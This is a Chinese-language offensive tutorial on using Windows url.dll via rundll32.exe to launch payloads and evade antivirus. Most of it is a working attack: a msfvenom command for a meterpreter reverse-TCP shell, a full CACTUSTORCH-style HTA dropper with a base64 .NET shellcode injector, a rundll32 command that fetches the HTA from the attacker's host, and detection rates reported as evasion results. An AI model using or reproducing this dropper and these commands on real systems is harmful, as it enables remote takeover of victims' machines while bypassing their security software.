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目錄
0x01 url.dll 簡介
url.dll是Internet快捷殼擴展相關應用程序接口系統文件。說明：url.dll所在路徑已被系統添加PATH環境變量中，因此，url.dll命令可識別，但由於爲dll文件，需調用rundll32.exe來執行。
Windows 2003 默認位置：
C:\Windows\System32\url.dll
C:\Windows\SysWOW64\url.dll
Windows 7 默認位置：
C:\Windows\System32\url.dll
C:\Windows\SysWOW64\url.dll
0x02 url.dll 執行payload
執行hta木馬
msfvenom生成shell.bin
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.211.55.10 LPORT=4444 -f raw > shell.bin
cat shell.bin |base64 -w 0
將生成的payload複製到code處。保存爲shell.hta
<script language="VBScript">
Dim binary : binary ="rundll32.exe"
Dim code : code ="payload"//payload插入
Sub Debug(s)
End Sub
Sub SetVersion
End Sub
Function Base64ToStream(b)
Dim enc, length, ba, transform, ms
Set enc = CreateObject("System.Text.ASCIIEncoding")
length = enc.GetByteCount_2(b)
Set transform = CreateObject("System.Security.Cryptography.FromBase64Transform")
Set ms = CreateObject("System.IO.MemoryStream")
ms.Write transform.TransformFinalBlock(enc.GetBytes_4(b),0, length),0,((length /4)*3)
ms.Position =0
Set Base64ToStream = ms
End Function
Sub Run
Dim s, entry_class
s ="AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"
s = s &"AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"
s = s &"dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"
s = s &"ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD"
s = s &"AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl"
s = s &"RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU"
s = s &"eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl"
s = s &"cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90"
s = s &"aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAu"
s = s &"MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH"
s = s &"dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAA"
s = s &"ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQw"
s = s &"B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVu"
s = s &"dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAA"
s = s &"CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9u"
s = s &"SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlclR5"
s = s &"cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAAYR"
s = s &"AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCwAA"
s = s &"AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS5Y"
s = s &"bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdh"
s = s &"NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNz"
s = s &"ZW1ibHkGFwAAAARMb2FkCg8MAAAAAB4AAAJNWpAAAwAAAAQAAAD//wAAuAAAAAAAAABAAAAAAAAA"
s = s &"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAADh+6DgC0Cc0huAFMzSFUaGlzIHByb2dy"
s = s &"YW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAFBFAABMAQMAkNhXWQAAAAAA"
s = s &"AAAA4AAiIAsBMAAAFgAAAAYAAAAAAAByNQAAACAAAABAAAAAAAAQACAAAAACAAAEAAAAAAAAAAQA"
s = s &"AAAAAAAAAIAAAAACAAAAAAAAAwBAhQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAIDUA"
s = s &"AE8AAAAAQAAAkAMAAAAAAAAAAAAAAAAAAAAAAAAAYAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAIAAAAAAAAAAAAAAAIIAAASAAAAAAAAAAA"
s = s &"AAAALnRleHQAAAB4FQAAACAAAAAWAAAAAgAAAAAAAAAAAAAAAAAAIAAAYC5yc3JjAAAAkAMAAABA"
s = s &"AAAABAAAABgAAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAAwAAAAAYAAAAAIAAAAcAAAAAAAAAAAA"
s = s &"AAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAFQ1AAAAAAAASAAAAAIABQD4IQAAKBMAAAEAAAAAAAAA"
s = s &"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgIoDwAACioT"
s = s &"MAoABwEAAAEAABEEKBAAAAoKEgEGjmkoEQAACnMJAAAGDAgWfTUAAARyAQAAcBMEcgMAAHAoEgAA"
s = s &"Cm8TAAAKFjEZch0AAHAoEgAACnIrAABwAygUAAAKEwQrF3IdAABwKBIAAApyQQAAcAMoFAAAChME"
s = s &"EQQUFBQXGn4VAAAKFAgSAygBAAAGJgl7BAAABBMFEgUoFgAACnJXAABwKBcAAAosbhEFFnMRAAAK"
s = s &"ByAAMAAAH0AoAgAABhMGEgYoFgAACnJXAABwKBgAAAosChEFFigEAAAGJioWEwcSCAaOaSgRAAAK"
s = s &"EQURBgYRCBEHKAMAAAYmEQUWcxEAAAoWEQYWcxEAAAoWFnMRAAAKKAUAAAYmKnoCfhUAAAp9AgAA"
s = s &"BAIoDwAACgICKBkAAAp9AQAABCoAABMwAgBgAAAAAAAAAAJ+FQAACn0rAAAEAn4VAAAKfSwAAAQC"
s = s &"fhUAAAp9LQAABAJ+FQAACn04AAAEAn4VAAAKfTkAAAQCfhUAAAp9OgAABAJ+FQAACn07AAAEAigP"
s = s &"AAAKAgIoGQAACn0qAAAEKkJTSkIBAAEAAAAAAAwAAAB2Mi4wLjUwNzI3AAAAAAUAbAAAACgHAAAj"
s = s &"fgAAlAcAAEwJAAAjU3RyaW5ncwAAAADgEAAAXAAAACNVUwA8EQAAEAAAACNHVUlEAAAATBEAANwB"
s = s &"AAAjQmxvYgAAAAAAAAACAAABVx0CFAkCAAAA+gEzABYAAAEAAAAXAAAACQAAAFAAAAAJAAAAHwAA"
s = s &"ABkAAAAzAAAAEgAAAAEAAAABAAAABQAAAAEAAAABAAAABwAAAAAAmQYBAAAAAAAGAFwFkgcGAMkF"
s = s &"kgcGAIoEYAcPALIHAAAGALIE4QYGADAF4QYGABEF4QYGALAF4QYGAHwF4QYGAJUF4QYGAMkE4QYG"
s = s &"AJ4EcwcGAHwEcwcGAPQE4QYGAKsIqQYGAGEEqQYGAE0FqQYGALAGqQYGAMoIqQYGAFkHqQYGAL4I"
s = s &"qQYGAGYGqQYGAIQGcwcAAAAAJQAAAAAAAQABAAEAEABtBgAAPQABAAEACgAQAPgHAAA9AAEACAAK"
s = s &"ARAAzgYAAEEABAAJAAIBAAAbCAAASQAIAAkAAgEAADYIAABJACcACQAKABAABgcAAD0AKgAJAAIB"
s = s &"AABtBAAASQA8AAoAAgEAAPMGAABJAEUACgAGAH0G+gAGAEQHPwAGACQE/QAGAHQIPwAGAOcDPwAG"
s = s &"AMgD+gAGAL0D+gAGBp4DAAFWgLICAwFWgMACAwFWgGQAAwFWgIgCAwFWgMIAAwFWgFMCAwFWgPEB"
s = s &"AwFWgB0CAwFWgAUCAwFWgKABAwFWgAIDAwFWgF4BAwFWgEgBAwFWgOEBAwFWgE0CAwFWgDECAwFW"
s = s &"gGoDAwFWgIIDAwFWgJkCAwFWgB0DAwFWgHYBAwFWgHUAAwFWgD0AAwFWgCcBAwFWgKgAAwFWgDoD"
s = s &"AwFWgLkBAwFWgBgBAwFWgMYBAwFWgOUCAwEGBp4DAAFWgJEABwFWgHICBwEGAKYD+gAGAO8DPwAG"
s = s &"ABcHPwAGADMEPwAGAEsD+gAGAJoD+gAGAOcF+gAGAO8F+gAGAEcI+gAGAFUI+gAGAOQE+gAGAC4I"
s = s &"+gAGAOcICwEGAA0ACwEGABkAPwAGANIIPwAGANwIPwAGADQHPwAGBp4DAAFWgN4CDgFWgO8ADgFW"
s = s &"gJ0BDgFWgNgCDgFWgNUBDgFWgA8BDgFWgJQBDgFWgAMBDgEGBp4DAAFWgOcAEgFWgFcAEgFWgNUA"
s = s &"EgFWgFgDEgFWgGkCEgFWgE8DEgFWgN0AEgFWgGADEgFWgBEGEgFWgCQGEgFWgDkGEgEAAAAAgACW"
s = s &"IC4AFgEBAAAAAACAAJYg8wgqAQsAAAAAAIAAliAJCTUBEAAAAAAAgACWIGMIPwEVAAAAAACAAJEg"
s = s &"1ANFARcAUCAAAAAAhhg+BwYAHgBYIAAAAACGAE0EUAEeAGshAAAAAIYYPgcGACAAjCEAAAAAhhg+"
s = s &"BwYAIAAAAAEAOwQAAAIAUwQAAAMA5AcAAAQA0QcAAAUAwQcAAAYACwgAAAcAvAgAAAgAHAkBAAkA"
s = s &"BAcCAAoAzAYAAAEAGwQAAAIAiwgAAAMAAwYAAAQAawQAAAUAsggAAAEAdAgAAAIAfQgAAAMAIQcA"
s = s &"AAQAAwYAAAUAtQYAAAEAdAgAAAIA+gMAAAEAdAgAAAIA0QcAAAMA9wUAAAQAlQgAAAUAKAcAAAYA"
s = s &"CwgAAAcAsgMAAAEAAgkAAAIAAQAJAD4HAQARAD4HBgAZAD4HCgApAD4HEAAxAD4HEAA5AD4HEABB"
s = s &"AD4HEABJAD4HEABRAD4HEABZAD4HEABhAD4HFQBpAD4HEABxAD4HEACJAD4HBgB5AD4HBgCZAFMG"
s = s &"KQChAD4HAQCpAAQELwCxAHkGNACxAKQIOAChABIHPwChAGQGQgCxADsJRgCxAC8JRgC5AAoGTAAJ"
s = s &"ACQAWgAJACgAXwAJACwAZAAJADAAaQAJADQAbgAJADgAcwAJADwAeAAJAEAAfQAJAEQAggAJAEgA"
s = s &"hwAJAEwAjAAJAFAAkQAJAFQAlgAJAFgAmwAJAFwAoAAJAGAApQAJAGQAqgAJAGgArwAJAGwAtAAJ"
s = s &"AHAAuQAJAHQAvgAJAHgAwwAJAHwAyAAJAIAAzQAJAIQA0gAJAIgA1wAJAIwA3AAJAJAA4QAJAJQA"
s = s &"5gAJAJgA6wAJAKAAWgAJAKQAXwAJAPQAlgAJAPgAmwAJAPwA8AAJAAABuQAJAAQB4QAJAAgB9QAJ"
s = s &"AAwBvgAJABABwwAJABgBbgAJABwBcwAJACABeAAJACQBfQAJACgBWgAJACwBXwAJADABZAAJADQB"
s = s &"aQAJADgBggAJADwBhwAJAEABjAAuAAsAVgEuABMAXwEuABsAfgEuACMAhwEuACsAhwEuADMAmAEu"
s = s &"ADsAmAEuAEMAhwEuAEsAhwEuAFMAmAEuAFsAngEuAGMApAEuAGsAzgFDAFsAngGjAHMAWgDDAHMA"
s = s &"WgADAXMAWgAjAXMAWgAaAIwGAAEDAC4AAQAAAQUA8wgBAAABBwAJCQEAAAEJAGMIAQAAAQsA1AMB"
s = s &"AASAAAABAAAAAAAAAAAAAAAAAPcAAAACAAAAAAAAAAAAAABRAKkDAAAAAAMAAgAEAAIABQACAAYA"
s = s &"AgAHAAIACAACAAkAAgAAAAAAAHNoZWxsY29kZTMyAGNiUmVzZXJ2ZWQyAGxwUmVzZXJ2ZWQyADxN"
s = s &"b2R1bGU+AENyZWF0ZVByb2Nlc3NBAENSRUFURV9CUkVBS0FXQVlfRlJPTV9KT0IARVhFQ1VURV9S"
s = s &"RUFEAENSRUFURV9TVVNQRU5ERUQAUFJPQ0VTU19NT0RFX0JBQ0tHUk9VTkRfRU5EAERVUExJQ0FU"
s = s &"RV9DTE9TRV9TT1VSQ0UAQ1JFQVRFX0RFRkFVTFRfRVJST1JfTU9ERQBDUkVBVEVfTkVXX0NPTlNP"
s = s &"TEUARVhFQ1VURV9SRUFEV1JJVEUARVhFQ1VURQBSRVNFUlZFAENBQ1RVU1RPUkNIAFdSSVRFX1dB"
s = s &"VENIAFBIWVNJQ0FMAFBST0ZJTEVfS0VSTkVMAENSRUFURV9QUkVTRVJWRV9DT0RFX0FVVEhaX0xF"
s = s &"VkVMAENSRUFURV9TSEFSRURfV09XX1ZETQBDUkVBVEVfU0VQQVJBVEVfV09XX1ZETQBQUk9DRVNT"
s = s &"X01PREVfQkFDS0dST1VORF9CRUdJTgBUT1BfRE9XTgBHTwBDUkVBVEVfTkVXX1BST0NFU1NfR1JP"
s = s &"VVAAUFJPRklMRV9VU0VSAFBST0ZJTEVfU0VSVkVSAExBUkdFX1BBR0VTAENSRUFURV9GT1JDRURP"
s = s &"UwBJRExFX1BSSU9SSVRZX0NMQVNTAFJFQUxUSU1FX1BSSU9SSVRZX0NMQVNTAEhJR0hfUFJJT1JJ"
s = s &"VFlfQ0xBU1MAQUJPVkVfTk9STUFMX1BSSU9SSVRZX0NMQVNTAEJFTE9XX05PUk1BTF9QUklPUklU"
s = s &"WV9DTEFTUwBOT0FDQ0VTUwBEVVBMSUNBVEVfU0FNRV9BQ0NFU1MAREVUQUNIRURfUFJPQ0VTUwBD"
s = s &"UkVBVEVfUFJPVEVDVEVEX1BST0NFU1MAREVCVUdfUFJPQ0VTUwBERUJVR19PTkxZX1RISVNfUFJP"
s = s &"Q0VTUwBSRVNFVABDT01NSVQAQ1JFQVRFX0lHTk9SRV9TWVNURU1fREVGQVVMVABDUkVBVEVfVU5J"
s = s &"Q09ERV9FTlZJUk9OTUVOVABFWFRFTkRFRF9TVEFSVFVQSU5GT19QUkVTRU5UAENSRUFURV9OT19X"
s = s &"SU5ET1cAZHdYAFJFQURPTkxZAEVYRUNVVEVfV1JJVEVDT1BZAElOSEVSSVRfUEFSRU5UX0FGRklO"
s = s &"SVRZAElOSEVSSVRfQ0FMTEVSX1BSSU9SSVRZAGR3WQB2YWx1ZV9fAGNiAG1zY29ybGliAGxwVGhy"
s = s &"ZWFkSWQAZHdUaHJlYWRJZABkd1Byb2Nlc3NJZABDcmVhdGVSZW1vdGVUaHJlYWQAaFRocmVhZABs"
s = s &"cFJlc2VydmVkAHVFeGl0Q29kZQBHZXRFbnZpcm9ubWVudFZhcmlhYmxlAGxwSGFuZGxlAGJJbmhl"
s = s &"cml0SGFuZGxlAGxwVGl0bGUAbHBBcHBsaWNhdGlvbk5hbWUAZmxhbWUAbHBDb21tYW5kTGluZQBW"
s = s &"YWx1ZVR5cGUAZmxBbGxvY2F0aW9uVHlwZQBHdWlkQXR0cmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1"
s = s &"dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5VHJh"
s = s &"ZGVtYXJrQXR0cmlidXRlAGR3RmlsbEF0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0cmli"
s = s &"dXRlAEFzc2VtYmx5Q29uZmlndXJhdGlvbkF0dHJpYnV0ZQBBc3NlbWJseURlc2NyaXB0aW9uQXR0"
s = s &"cmlidXRlAEZsYWdzQXR0cmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAQXNz"
s = s &"ZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0cmlidXRlAEFzc2VtYmx5"
s = s &"Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBkd1hTaXplAGR3"
s = s &"WVNpemUAZHdTdGFja1NpemUAZHdTaXplAFNpemVPZgBHVUFSRF9Nb2RpZmllcmZsYWcATk9DQUNI"
s = s &"RV9Nb2RpZmllcmZsYWcAV1JJVEVDT01CSU5FX01vZGlmaWVyZmxhZwBGcm9tQmFzZTY0U3RyaW5n"
s = s &"AFRvU3RyaW5nAGNhY3R1c1RvcmNoAGdldF9MZW5ndGgATWFyc2hhbABrZXJuZWwzMi5kbGwAQ0FD"
s = s &"VFVTVE9SQ0guZGxsAFN5c3RlbQBFbnVtAGxwTnVtYmVyT2ZCeXRlc1dyaXR0ZW4AbHBQcm9jZXNz"
s = s &"SW5mb3JtYXRpb24AU3lzdGVtLlJlZmxlY3Rpb24ATWVtb3J5UHJvdGVjdGlvbgBscFN0YXJ0dXBJ"
s = s &"bmZvAFplcm8AbHBEZXNrdG9wAGJ1ZmZlcgBscFBhcmFtZXRlcgBoU3RkRXJyb3IALmN0b3IAbHBT"
s = s &"ZWN1cml0eURlc2NyaXB0b3IASW50UHRyAFN5c3RlbS5EaWFnbm9zdGljcwBTeXN0ZW0uUnVudGlt"
s = s &"ZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dp"
s = s &"bmdNb2RlcwBiSW5oZXJpdEhhbmRsZXMAbHBUaHJlYWRBdHRyaWJ1dGVzAGxwUHJvY2Vzc0F0dHJp"
s = s &"YnV0ZXMAU2VjdXJpdHlBdHRyaWJ1dGVzAGR3Q3JlYXRpb25GbGFncwBDcmVhdGVQcm9jZXNzRmxh"
s = s &"Z3MAZHdGbGFncwBEdXBsaWNhdGVPcHRpb25zAGR3WENvdW50Q2hhcnMAZHdZQ291bnRDaGFycwBU"
s = s &"ZXJtaW5hdGVQcm9jZXNzAGhQcm9jZXNzAGxwQmFzZUFkZHJlc3MAbHBBZGRyZXNzAGxwU3RhcnRB"
s = s &"ZGRyZXNzAENvbmNhdABPYmplY3QAZmxQcm90ZWN0AGxwRW52aXJvbm1lbnQAQ29udmVydABoU3Rk"
s = s &"SW5wdXQAaFN0ZE91dHB1dAB3U2hvd1dpbmRvdwBWaXJ0dWFsQWxsb2NFeABiaW5hcnkAV3JpdGVQ"
s = s &"cm9jZXNzTWVtb3J5AGxwQ3VycmVudERpcmVjdG9yeQBvcF9FcXVhbGl0eQBvcF9JbmVxdWFsaXR5"
s = s &"AAAAAAABABlQAHIAbwBnAHIAYQBtAFcANgA0ADMAMgAADXcAaQBuAGQAaQByAAAVXABTAHkAcwBX"
s = s &"AE8AVwA2ADQAXAAAFVwAUwB5AHMAdABlAG0AMwAyAFwAAAMwAAAARY+bzuLqxE+aSSAzLsphXgAE"
s = s &"IAEBCAMgAAEFIAEBEREEIAEBDgQgAQECDgcJHQUYEhwREA4YGAgYBQABHQUOBAABDg4DIAAIBgAD"
s = s &"Dg4ODgIGGAMgAA4FAAICDg4EAAEIHAi3elxWGTTgiQQBAAAABAIAAAAEBAAAAAQIAAAABBAAAAAE"
s = s &"IAAAAARAAAAABIAAAAAEAAEAAAQAAgAABAAEAAAEAAgAAAQAEAAABAAgAAAEAEAAAAQAgAAABAAA"
s = s &"AQAEAAACAAQAAAQABAAACAAEAAAQAAQAACAABAAAAAEEAAAAAgQAAAAEBAAAAAgEAAAAEAQAAAAg"
s = s &"BAAAAEAEAAAAgAQAMAAABAAAQAACBggCBgICBgkDBhEUAwYRGAIGBgMGESADBhEkEwAKGA4OEgwS"
s = s &"DAIRFBgOEhwQERAKAAUYGBgYESARJAkABQIYGB0FGAgFAAICGAkKAAcYGBgJGBgJGAUgAgEODggB"
s = s &"AAgAAAAAAB4BAAEAVAIWV3JhcE5vbkV4Y2VwdGlvblRocm93cwEIAQACAAAAAAAQAQALQ0FDVFVT"
s = s &"VE9SQ0gAAAUBAAAAAAUBAAEAACkBACQ1NjU5OGYxYy02ZDg4LTQ5OTQtYTM5Mi1hZjMzN2FiZTU3"
s = s &"NzcAAAwBAAcxLjAuMC4wAAAASDUAAAAAAAAAAAAAYjUAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &"AFQ1AAAAAAAAAAAAAAAAX0NvckRsbE1haW4AbXNjb3JlZS5kbGwAAAAAAP8lACAAEAAAAAAAAAAA"
s = s &"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABgAAIAAAAAAAAAAAAAAAAAAAAEAAQAA"
s = s &"ADAAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAEgAAABYQAAANAMAAAAAAAAAAAAANAM0AAAAVgBTAF8A"
s = s &"VgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/4AAAEAAAABAAAAAAAAAAEAAAAAAD8AAAAA"
s = s &"AAAABAAAAAIAAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAAACQA"
s = s &"BAAAAFQAcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAAAACwBJQCAAABAFMAdAByAGkAbgBnAEYAaQBs"
s = s &"AGUASQBuAGYAbwAAAHACAAABADAAMAAwADAAMAA0AGIAMAAAADAADAABAEMAbwBtAG0AZQBuAHQA"
s = s &"cwAAAEMAQQBDAFQAVQBTAFQATwBSAEMASAAAACIAAQABAEMAbwBtAHAAYQBuAHkATgBhAG0AZQAA"
s = s &"AAAAAAAAAEAADAABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAABDAEEAQwBUAFUA"
s = s &"UwBUAE8AUgBDAEgAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4AAAAAADEALgAwAC4AMAAu"
s = s &"ADAAAABAABAAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAEMAQQBDAFQAVQBTAFQATwBSAEMA"
s = s &"SAAuAGQAbABsAAAAPAAMAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAQwBBAEMAVABV"
s = s &"AFMAVABPAFIAQwBIAAAAKgABAAEATABlAGcAYQBsAFQAcgBhAGQAZQBtAGEAcgBrAHMAAAAAAAAA"
s = s &"AABIABAAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAAQwBBAEMAVABVAFMAVABP"
s = s &"AFIAQwBIAC4AZABsAGwAAAA4AAwAAQBQAHIAbwBkAHUAYwB0AE4AYQBtAGUAAAAAAEMAQQBDAFQA"
s = s &"VQBTAFQATwBSAEMASAAAADQACAABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBpAG8AbgAAADEALgAw"
s = s &"AC4AMAAuADAAAAA4AAgAAQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMQAuADAA"
s = s &"LgAwAC4AMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &"AAAAAAAAAAAAAAAAADAAAAwAAAB0NQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &"AAAAAAAAAAAAAAABDQAAAAQAAAAJFwAAAAkGAAAACRYAAAAGGgAAACdTeXN0ZW0uUmVmbGVjdGlv"
s = s &"bi5Bc3NlbWJseSBMb2FkKEJ5dGVbXSkIAAAACgsA"
entry_class ="cactusTorch"
Dim fmt, al, d, o
Set fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
Set al = CreateObject("System.Collections.ArrayList")
al.Add fmt.SurrogateSelector
Set d = fmt.Deserialize_2(Base64ToStream(s))
Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class)
o.flame binary,code
End Sub
SetVersion
On Error Resume Next
Run
If Err.Number <>0 Then
Debug Err.Description
Err.Clear
End If
self.close
</script>
目標機器運行調用url.dll下載payload
rundll32.exe url.dll,OpenURL http://10.211.55.10/shell.hta
可以看到只有360攔截了可疑程序run32dll.exe 點擊允許操作後可上線。
放在virustotal.com查殺率23/57
執行exe木馬
rundll32.exe繞過殺軟的執行方式
rundll32.exe url.dll, OpenURL file://c:\windows\system32\calc.exe
rundll32.exe url.dll, OpenURLA file://c:\windows\system32\calc.exe
rundll32.exe url.dll, FileProtocolHandler calc.exe
生成msf.exe木馬，由AVIATOR生成的，具體參考【免殺篇】遠控免殺專題(14)-AVIator(VT免殺率25/69)
執行後360提示木馬。點擊允許程序運行後可上線。
放在virustotal.com上msf.exe查殺率爲33/69
參考鏈接：
基於白名單Url.dll執行payload第十七季:https://micro8.github.io/Micro8-HTML/Chapter1/81-90/89_%E5%9F%BA%E4%BA%8E%E7%99%BD%E5%90%8D%E5%8D%95Url.dll%E6%89%A7%E8%A1%8Cpayload%E7%AC%AC%E5%8D%81%E4%B8%83%E5%AD%A3.html
雖然我們生活在陰溝裏，但依然有人仰望星空！